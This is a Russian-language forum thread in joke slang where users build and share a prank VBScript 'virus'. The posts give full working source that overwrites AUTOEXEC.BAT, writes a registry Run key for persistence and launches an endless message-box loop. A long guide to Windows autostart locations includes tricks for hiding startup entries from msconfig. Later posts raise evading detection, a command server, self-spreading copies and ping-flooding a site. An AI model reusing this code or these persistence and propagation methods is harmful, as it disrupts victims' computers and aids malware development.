ААА!!!1 УПЯЧКА АТАУКЕТ!!!!1111

[popoffka666]

Вирусе не работае.
Ищу ошибку.

УПД

Нашёл почтии все ошибки. теперь не работает только этот кусок:

set virus=fs.CreateTextFile("C:\WINDOWS\system32\network.vbs")
virus.WriteLine "do"
virus.WriteLine "MsgBox "Ты попячен реальне!!" "
virus.WriteLine "MsgBox "ОЯЕБУ УГ РЕАЛЬНЕ ПОПЯЧЕНЕ!!" "
virus.WriteLine "loop"
virus.close

Проблема заключается в выделенных кавычках. Если их нет - всё запускается: но не работает уже network.vbs, ибо без кавычек MsgBox работаеть не будет. А если они есть - вирус не компилится.
Вот такие пироги.

УПД

Если кому надо, вот исходник:

Код: Выделить всё

set fs=createobject("Scripting.FileSystemObject")

if fs.fileexists("C:\AUTOEXEC.BAT") then
set ab=fs.getfile("C:\AUTOEXEC.BAT")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("C:\AUTOEXEC.BAT")
autoexec.WriteLine ":network"
autoexec.WriteLine "start C:\WINDOWS\system32\network.vbs"
autoexec.WriteLine "goto network"
autoexec.close

set virus=fs.CreateTextFile("C:\WINDOWS\system32\network.vbs")
virus.WriteLine "do"
virus.WriteLine "MsgBox "Ты попячен реальне!!" "
virus.WriteLine "MsgBox "ОЯЕБУ УГ РЕАЛЬНЕ ПОПЯЧЕНЕ!!" "
virus.WriteLine "loop"
virus.close
virus.close

Set WShell = CreateObject("WScript.Shell")
ReturnCode = WShell.Run("%windir%\system32\network.vbs")

[DRF3000]

Хм,идея зойнимательная..если будет релиз - быстро,решительно испытываем на УГ

[Kick-Bum]

уфф, какой вируснячок :crazy:
давай заканчивай, я его запушю на VirtulBox'e :D

[popoffka666]

уфф, какой вируснячок :crazy:
давай заканчивай, я его запушю на VirtulBox'e :D

сам на виртуалбоксе тестю х)

[ZaRDaK]

Кагбе УГ бывае остроумне!!!!!11111
Есть переменная в реестре которая вырубае autoexec.bat !!!!!1111111
Пиши в реестр на автозагрузку!!!1111111

[popoffka666]

Дашь пример .reg файла для автозапуска через реестр - сделаем.

[ZaRDaK]

[spoiler=""АГРОМНЕ СТАТЕЙКО""]В реестре автозагрузка представлена в нескольких местах:
[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Run] — программы, которые запускаются при входе в систему. Данный раздел отвечает за запуск программ для всех пользователей системы.
[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion RunOnce] — программы, которые запускаются только один раз при входе пользователя в систему. После этого ключи программ автоматически удаляются из данного раздела реестра. Данный раздел отвечает за запуск программ для всех пользователей системы.
[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion RunOnceEx] — программы, которые запускаются только один раз, когда загружается система. Этот раздел используется при инсталляции программ, например для запуска настроечных модулей. После этого ключи программ автоматически удаляются из данного раздела реестра. Данный раздел отвечает за запуск программ для всех пользователей системы.
[HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Run] — программы, которые запускаются при входе текущего пользователя в систему
[HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion RunOnce] — программы, которые запускаются только один раз при входе текущего пользователя в систему. После этого ключи программ автоматически удаляются из данного раздела реестра.
[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion RunServices] — программы, которые загружаются при старте системы до входа пользователя в Windows.
[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion RunServicesOnce] — программы отсюда загружаются только один раз, когда загружается система.

Например, чтобы автоматически запускать Блокнот при входе текущего пользователя, открываем Редактор реестра (regedit.exe), переходим в раздел [HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Run] и добавляем следующий ключ:

"NOTEPAD.EXE"="C:WINDOWSSystem32
otepad.exe"
Использование групповой политики для автозапуска:

Откройте оснастку "Групповая политика" (gpedit.msc), перейдите на вкладку "Конфигурация компьютера — Административные шаблоны — Система". В правой части оснастки перейдите на пункт "Запускать указанные программы при входе в систему". По умолчанию эта политика не задана, но вы можете добавить туда программу: включаем политику, нажимаем кнопку "Показать — Добавить", указываем путь к программе, при этом если запускаемая программа находится в папке ..WINDOWSSystem32 то можно указать только название программы, иначе придется указать полный путь к программе. При этом в системном реестре в разделе [HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion policies] создается подраздел Explorer Run с ключами добавленных программ. Пример:

[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion policies Explorer Run]
"1"="notepad.exe"
"2"="iexplore.exe"

В итоге получаем запуск Блокнота и Internet Explorer для всех пользователей. Аналогично задается автозапуск для текущих пользователей, в оснастке "Групповая политика" это путь "Конфигурация пользователя — Административные шаблоны — Система", а в реестре раздел [HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Policies Explorer Run]

При этом программы из этого списка не отображаются в списке программ доступных для отключения в msconfig.exe, а также определяются не всеми менеджерами автозагрузки.
Автозапуск из особого списка

Программы могут запускаться и из следующего раздела реестра:

[HKEY_CURRENT_USER Software Microsoft Windows NT CurrentVersion Windows]

Параметры:

"load"="programma" — программы запускаемые до входа пользователя в систему:
"run"="programma" — программы запускаемые после входа пользователя в систему.

Эти параметры — аналог автозагрузки из Win.ini в Windows 9х. Пример: запускаем Internet Explorer до входа пользователя в систему и Блокнот после входа пользователя в систему:

[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Windows]
"load"="iexplore.exe"
"run"="notepad.exe"
Не обрабатывать список автозапуска для старых версий

Настраивается с помощью групповой политики: "Конфигурация компьютера — Административные шаблоны — Система — Не обрабатывать список автозапуска для старых версий", если эту политику включить, то не будут запускаться программы из следующих разделов реестра:

[HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion Run]

При использовании этой политики в реестре создается следующий ключ:

[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion policies Explorer]
"DisableLocalMachineRun"=dword:00000001

Аналогично устанавливается политика для текущих пользователей: "Конфигурация пользователя — Административные шаблоны — Система — Не обрабатывать список автозапуска для старых версий" с тем отличием что в реестре эта опция включается в ином месте:

[HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Policies Explorer]
"DisableLocalUserRun"=dword:00000001
Игнорировать списки автозагрузки программ выполняемых однажды

Настраивается с помощью групповой политики: "Конфигурация компьютера — Административные шаблоны — Система — Не обрабатывать список автозапуска программ, выполняемых однажды", если эту политику включить, то не будут запускаться программы запускаемые из списка

[HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion RunOnce]

Если эта политика включена, в реестре создается следующий ключ:

[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion policies Explorer]
"DisableLocalMachineRunOnce"= dword:00000001

Так же настраивается политика для текущих пользователей: "Конфигурация пользователя — Административные шаблоны — Система — Не обрабатывать список автозапуска программ, выполняемых однажды" Параметры реестра:

[HKEY_CURRENT_USER SOFTWARE Microsoft Windows CurrentVersion policies Explorer]
"DisableLocalUserRunOnce"=dword:00000001
Назначенные задания

Программы могут запускаться с помощью "Мастера планирования заданий". Посмотреть список установленных заданий, а также добавить новое можно так: "Пуск — Все программы — Стандартные — Служебные — Назначенные задания" — при этом откроется папка ..WINDOWSTasks, в которой отображены назначенные задания. Чтобы добавить новое задание, нужно дважды щелкнуть левой кнопкой мыши по значку "Добавить задание". Запуск программ с помощью этого мастера возможен однократно, при входе в Windows, при включении компьютера, а также по расписанию.
Папка "Автозагрузка"

Это папка, в которой хранятся ярлыки для программ запускаемых после входа пользователя в систему. Ярлыки в эту папку могут добавляться программами при их установке или пользователем самостоятельно. Существует две папки — общая для всех пользователей и индивидуальная для текущего пользователя. По умолчанию эти папки находятся здесь:
.. Documents and Settings All Users Главное меню Программы Автозагрузка — это папка, программы из которой будут запускаться для всех пользователей компьютера.
.. Documents and Settings Username Главное меню Программы Автозагрузка — это папка, программы из которой будут запускаться для текущего пользователя (здесь он назван Username).

Посмотреть какие программы у вас запускаются таким способом можно открыв меню "Пуск — Все программы — Автозагрузка". Если вы создадите в этой папке ярлык для какой-нибудь программы, она будет запускаться автоматически после входа пользователя в систему. Если при входе пользователя в систему удерживать нажатой клавишу "Shift", то программы из папок "Автозагрузка" запускаться не будут.
Смена папки автозагрузки

Windows считывает данные о пути к папке "Автозагрузка" из реестра. Этот путь прописан в следующих разделах:
[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Explorer User Shell Folders]
"Common Startup"="%ALLUSERSPROFILE% Главное меню Программы Автозагрузка" — для всех пользователей системы.
[HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Explorer User Shell Folders]
"Startup"="%USERPROFILE% Главное меню Программы Автозагрузка" — для текущего пользователя.

Сменив путь к папке мы получим автозагрузку всех программ из указанной папки. Например:

[HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Explorer User Shell Folders]
"Startup"="c:mystartup" — система загрузит все программы, ярлыки которых находятся в папке c:mystartup, при этом папка "Автозагрузка" все так же будет отображаться в меню "Пуск", а если у пользователя в ней ничего не было, то он и не заметит подмены.
Подмена ярлыка для программы из списка автозагрузки

Допустим у вас установлен русскоязычный пакет Microsoft Office. Тогда в папке "Автозагрузка" у вас будет находиться ярлык "Быстрый запуск Microsoft Office" — этот ярлык устанавливается туда по умолчанию. Но вовсе необязательно этот ярлык ссылается именно на "Быстрый запуск Microsoft Office" — вместо него может быть запущена любая другая программа, тем более что на функциональности Office это не скажется.
Добавление программы к программе запускаемой из списка автозагрузки

Модификация предыдущего варианта — одновременно с загрузкой какой-либо программы из списка автозагрузки у вас будет стартовать другая программа — дело в том, что можно "склеить" два исполняемых файла в один и они будут запускаться одновременно. Существуют программы для такой "склейки". Или ярлык может ссылаться на командный файл, из которого и будут запускаться как оригинальная программа из списка, так и добавленные посторонние программы.

Посмотреть список автоматически загружаемых программ можно открыв программу "Сведения о системе" (откройте "Пуск — Все программы — Стандартные — Служебные — Сведения о системе" или наберите msinfo32.exe в командной строке) и перейдя в пункт "Программная среда — Автоматически загружаемые программы". Программа "Свойства системы" отображает группы автозагрузки из реестра и папок "Автозагрузка".

Другая программа, позволяющая посмотреть список программ автозагрузки — "Настройка системы" (для запуска наберите msconfig.exe из командной строки). Эта программа кроме просмотра списка автозагрузки предоставляет возможность отключения всех пунктов автозагрузки (вкладка "Общие") или выборочных программ (вкладка "Автозагрузка").
Примечание

Приведенная информация приведена в справочных целях. Вся информация, приведенная выше, относится в первую очередь к опытным пользователям, способным восстановить систему после ошибочных изменений в реестре. Если вы не уверены, что в случае ошибочных действий сможете восстановить систему, не используйте приведенную информацию в практических целях, ошибочные действия при внесении изменений в реестр могут серьезно повредить систему и даже привести к переустановке системы. Начинающие пользователи для добавления программ в список автозагрузки должны использовать только папку "Автозагрузка" или "Мастер назначенных заданий".[/spoiler]

[HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Run]
туда строковый параметр "NOTEPAD.EXE"="C:WINDOWSSystem32
otepad.exe" (имя - нотепад.ехе, парпметр - C:WINDOWSSystem32
otepad.exe)

Код: Выделить всё

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"virus.vbs"="C:\WINDOWS\system32\network.vbs"

[popoffka666]

Урааааа!!111 Скрипт заработал!111
Осталось прикрутить автозапуск и первая бета будет готова!1111
Спасибо большое Архангелу с форума http://terminals52.7bb.ru

[popoffka666]

Извиняюсь за даблпост, но ПЕРВАЯ БЕТА-ВЕРСИЯ УПЯЧНИ ВИРУСА ГОТОВА!!1111
Сырс:

Код: Выделить всё

set fs=createobject("Scripting.FileSystemObject")
if fs.fileexists("C:\AUTOEXEC.BAT") then
set ab=fs.getfile("C:\AUTOEXEC.BAT")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("C:\AUTOEXEC.BAT")
autoexec.WriteLine ":network"
autoexec.WriteLine "start C:\WINDOWS\system32\network.vbs"
autoexec.WriteLine "goto network"
autoexec.close
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upyachni", "C:\WINDOWS\system32\network.vbs", "REG_SZ"
set virus=fs.CreateTextFile("C:\WINDOWS\system32\network.vbs")
virus.WriteLine "do"
virus.WriteLine "MsgBox ""Ты попячен реальне!!"""
virus.WriteLine "MsgBox ""ОЯЕБУ УГ РЕАЛЬНЕ ПОПЯЧЕНЕ!!"""
virus.WriteLine "loop"
virus.close
Set WShell = CreateObject("WScript.Shell")
ReturnCode = WShell.Run("C:\WINDOWS\system32\network.vbs")

Сырс нужно сохранить с расширением .vbs и, при желании, скомпилировать в еХе спецаильными программами.
При желании, можно модифицировать вирус, изменяя сообщения, названи файлов, веток в реестре итд.
Вирус был проверен под ВинХР СП3, в виртуалке, всё работает на отличненько!
Жду комментариев, предложений, пожеланий и НЕНАВИСТИ!

ЗЫ Файл upyachnivirus.vbs получен 2009.01.04 13:04:11 (CET)
Результат: 6/38 (15.79%)

[x_000]

реальни упячни!11
но я предпочитаю более тонкие методы, даже для тупых сираних УГов :D Руткиты, например

[popoffka666]

Вопрос к умным юзернеймам - тупым "ping АЙПИАДРЕС" можно заддосить сайт?

[x_000]

Вопрос к умным юзернеймам - тупым "ping АЙПИАДРЕС" можно заддосить сайт?

когда-то (в те времена, когда на Земле царствовали динозавры, никто не знал, что такое мышь и графический интерфейс, и программы писались на ассемблере) можно было, а сейчас, в большинстве случаев - не получится
Хотя, если пинг настроить правильно и комп мощный..может и получится

[nALLITeT]

Интересуют вопросы:
1) Доставка вируса на сервер "клиента"
2) Нужно сделать ну типа "сервера" вируса, для управления вирусом. ( но могут найти )
3) Стартовая страница - газен! %) или инфослеш %)
4) Сделать запрет на посещение унылых сайтов, типо говно беоне, и прочих!

[x_000]

2) Нужно сделать ну типа "сервера" вируса, для управления вирусом. ( но могут найти )

без проблем, можно взять какой-нибудь халявный хостинг, написать на пых-пыхе движок, а также часть вируса на перле написать(ну какбы на перле принято писать все скрипты, которые с веб-страницамип работают)

4) Сделать запрет на посещение унылых сайтов, типо говно беоне, и прочих!

а кого троллить-то тогда будем? :shock:
Хотя это легко реализуется путем добавления адреса неугодного сайта в файл hosts

[nALLITeT]

2) Нужно сделать ну типа "сервера" вируса, для управления вирусом. ( но могут найти )

без проблем, можно взять какой-нибудь халявный хостинг, написать на пых-пыхе движок, а также часть вируса на перле написать(ну какбы на перле принято писать все скрипты, которые с веб-страницамип работают)

4) Сделать запрет на посещение унылых сайтов, типо говно беоне, и прочих!

а кого троллить-то тогда будем? :shock:

%) ну да, 1 идея круто!
2) И желательно сделать так, чтобы скрипт сам отправлял свои копии другим юзерам %)
И нужно сделать для нормальных пользователей "защиту" А то и браве воене у себя такой вирус найдет